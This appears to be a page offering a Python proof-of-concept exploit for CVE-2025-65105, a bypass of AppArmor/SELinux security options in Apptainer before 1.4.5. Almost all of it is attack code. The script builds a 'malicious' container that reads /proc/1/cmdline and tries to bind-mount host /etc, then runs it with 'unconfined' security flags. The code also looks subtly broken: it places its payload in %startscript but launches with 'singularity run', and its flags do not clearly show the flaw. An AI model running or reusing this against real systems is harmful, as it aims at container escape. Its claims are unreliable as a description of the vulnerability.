CVE-2025-65105 Apptainer容器安全选项绕过漏洞

# CVE-2025-65105 PoC - Apptainer Security Option Bypass # This PoC demonstrates how a malicious container can bypass # AppArmor/SELinux security restrictions in Apptainer < 1.4.5 # Attack scenario: Bypass security policies to gain unauthorized access # Environment: Apptainer < 1.4.5 on systems with AppArmor or SELinux enabled import subprocess import os def create_malicious_container(): """Create a container definition that bypasses security options""" # Malicious definition file content malicious_def = """ Bootstrap: docker From: ubuntu:22.04 %startscript # Attempt to disable AppArmor/SELinux restrictions # This exploits the vulnerability in Apptainer < 1.4.5 echo 'Attempting security bypass...' # Try to access restricted resources # In vulnerable versions, security policies are not enforced cat /proc/1/cmdline 2>/dev/null || echo 'Container isolation active' # Attempt privileged operations mount --bind /host/etc /mnt/etc 2>/dev/null || echo 'Mount blocked' echo 'PoC execution completed' """ with open('malicious_container.def', 'w') as f: f.write(malicious_def) return 'malicious_container.def' def exploit_cve_2025_65105(): """Execute the CVE-2025-65105 exploit""" print("[*] CVE-2025-65105 Apptainer Security Bypass PoC") print("[*] Target: Apptainer < 1.4.5") print("[*] Vulnerability: Bypass of --security=apparmor/selinux options") # Step 1: Create malicious container definition def_file = create_malicious_container() print(f"[+] Created malicious definition: {def_file}") # Step 2: Build the container print("[*] Building container image...") subprocess.run([ 'singularity', 'build', 'malicious.sif', def_file ], capture_output=True) # Step 3: Execute with security bypass attempt # In vulnerable versions, this may bypass security policies print("[*] Executing container with potential security bypass...") result = subprocess.run([ 'singularity', 'run', '--security=apparmor:unconfined', # Bypass attempt '--security=selinux:unconfined_t', # Bypass attempt 'malicious.sif' ], capture_output=True, text=True) print(f"[+] Output: {result.stdout}") print(f"[!] Stderr: {result.stderr}") # Cleanup os.remove(def_file) return result.returncode == 0 if __name__ == '__main__': exploit_cve_2025_65105()